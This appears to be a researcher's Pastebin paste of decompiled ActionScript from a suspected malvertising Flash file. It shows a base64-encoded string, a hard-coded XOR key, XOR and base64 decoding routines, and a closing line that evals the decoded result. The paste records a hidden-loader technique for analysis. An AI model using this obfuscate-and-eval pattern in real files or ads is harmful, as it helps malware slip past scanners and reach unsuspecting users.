Kafeine

Malvert_Candidate

Nov 19th, 2014
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.59 KB | None | 0 0
  1. _loc7_ = "Q1dbBlVaDldRCxtWDlU=";
  2.  
  3. private const key = "086c15c68e55a86ce8695e74431e";
  4. protected function applyXor(param1:ByteArray, param2:String) : ByteArray
  5. {
  6. var _loc6_:* = 0;
  7. var _loc7_:* = 0;
  8. var _loc8_:* = 0;
  9. var _loc3_:ByteArray = new ByteArray();
  10. var _loc4_:ByteArray = new ByteArray();
  11. _loc4_.writeUTFBytes(param2);
  12. var _loc5_:* = 0;
  13. while(param1.bytesAvailable)
  14. {
  15. _loc5_ = param1.position % _loc4_.length;
  16. _loc6_ = param1.readUnsignedByte();
  17. _loc8_ = _loc4_[_loc5_];
  18. _loc7_ = _loc8_ ^ _loc6_;
  19. _loc3_.writeByte(_loc7_);
  20. }
  21. _loc3_.position = 0;
  22. return _loc3_;
  23. }
  24. protected static function decode(param1:String) : ByteArray
  25. {
  26. var _loc3_:* = 0;
  27. var _loc4_:* = 0;
  28. var _loc5_:* = 0;
  29. var _loc6_:* = 0;
  30. var _loc7_:* = 0;
  31. var _loc8_:* = 0;
  32. var _loc9_:ByteArray = null;
  33. var _loc2_:Array = [-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1];
  34. _loc8_ = param1.length;
  35. _loc7_ = 0;
  36. _loc9_ = new ByteArray();
  37. loop0:
  38. while(_loc7_ < _loc8_)
  39. {
  40. do
  41. {
  42. _loc3_ = _loc2_[param1.charCodeAt(_loc7_++) & 255];
  43. }
  44. while(_loc7_ < _loc8_ && _loc3_ == -1);
  45.  
  46. if(_loc3_ == -1)
  47. {
  48. break;
  49. }
  50. do
  51. {
  52. _loc4_ = _loc2_[param1.charCodeAt(_loc7_++) & 255];
  53. }
  54. while(_loc7_ < _loc8_ && _loc4_ == -1);
  55.  
  56. if(_loc4_ == -1)
  57. {
  58. break;
  59. }
  60. _loc9_.writeByte(_loc3_ << 2 | (_loc4_ & 48) >> 4);
  61. while(true)
  62. {
  63. _loc5_ = param1.charCodeAt(_loc7_++) & 255;
  64. if(_loc5_ == 61)
  65. {
  66. break;
  67. }
  68. _loc5_ = _loc2_[_loc5_];
  69. if(!(_loc7_ < _loc8_ && _loc5_ == -1))
  70. {
  71. if(_loc5_ == -1)
  72. {
  73. break loop0;
  74. }
  75. _loc9_.writeByte((_loc4_ & 15) << 4 | (_loc5_ & 60) >> 2);
  76. while(true)
  77. {
  78. _loc6_ = param1.charCodeAt(_loc7_++) & 255;
  79. if(_loc6_ == 61)
  80. {
  81. break;
  82. }
  83. _loc6_ = _loc2_[_loc6_];
  84. if(!(_loc7_ < _loc8_ && _loc6_ == -1))
  85. {
  86. if(_loc6_ == -1)
  87. {
  88. break loop0;
  89. }
  90. _loc9_.writeByte((_loc5_ & 3) << 6 | _loc6_);
  91. continue loop0;
  92. }
  93. }
  94. _loc9_.position = 0;
  95. return _loc9_;
  96. }
  97. }
  98. _loc9_.position = 0;
  99. return _loc9_;
  100. break;
  101. }
  102. _loc9_.position = 0;
  103. return _loc9_;
  104. }
  105.  
  106. eval(applyXor(decode(_loc7_),key)):
Advertisement
Add Comment
Please, Sign In to add comment